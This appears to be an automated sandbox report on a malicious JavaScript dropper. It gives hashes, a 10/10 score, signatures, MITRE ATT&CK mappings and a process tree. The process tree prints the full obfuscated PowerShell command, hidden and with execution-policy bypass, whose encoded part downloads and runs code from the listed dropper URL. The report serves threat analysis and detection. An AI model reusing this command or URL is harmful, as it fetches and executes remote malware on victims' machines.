46f61998e537ab7d039447132b1233c9952282c8288d43da4067df1de2a42e4c

General

Target
2021APT-28_48630453.js
Size 117KB
Sample210729-9fja5d1prs
SHA256 69f3c29ea8c59e44a85c750b670b4b3a02c2c9b85765362527a8289d14e369a9
MD5 52c6cf58ab70a99a94386db946ae841a
SHA1 235e051762effba7b62d0cb976665c551a3ab292
SHA512 4bcf5d000850200250a760f053bc1c006d2155a494fd00f259ce011baa85226f9199c5a5b4cdde3298c65ab818fc8b0700a0d79a1336fb2fa16564a794fedef1
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	3172	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3500	3172	WerFault.exe	77

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3172	powershell.exe
3172	powershell.exe
3172	powershell.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe
3500	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	3500	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 740 wrote to memory of 2904	740	wscript.exe	75
PID 740 wrote to memory of 2904	740	wscript.exe	75
PID 2904 wrote to memory of 3172	2904	cmd.exe	77
PID 2904 wrote to memory of 3172	2904	cmd.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_48630453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3172 -s 2296
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3172-121-0x0000013053130000-0x0000013053131000-memory.dmp

Download

memory/3172-126-0x00000130532E0000-0x00000130532E1000-memory.dmp

Download

memory/3172-127-0x0000013052890000-0x0000013052892000-memory.dmp

Download

memory/3172-128-0x0000013052893000-0x0000013052895000-memory.dmp

Download

memory/3172-143-0x0000013052896000-0x0000013052898000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads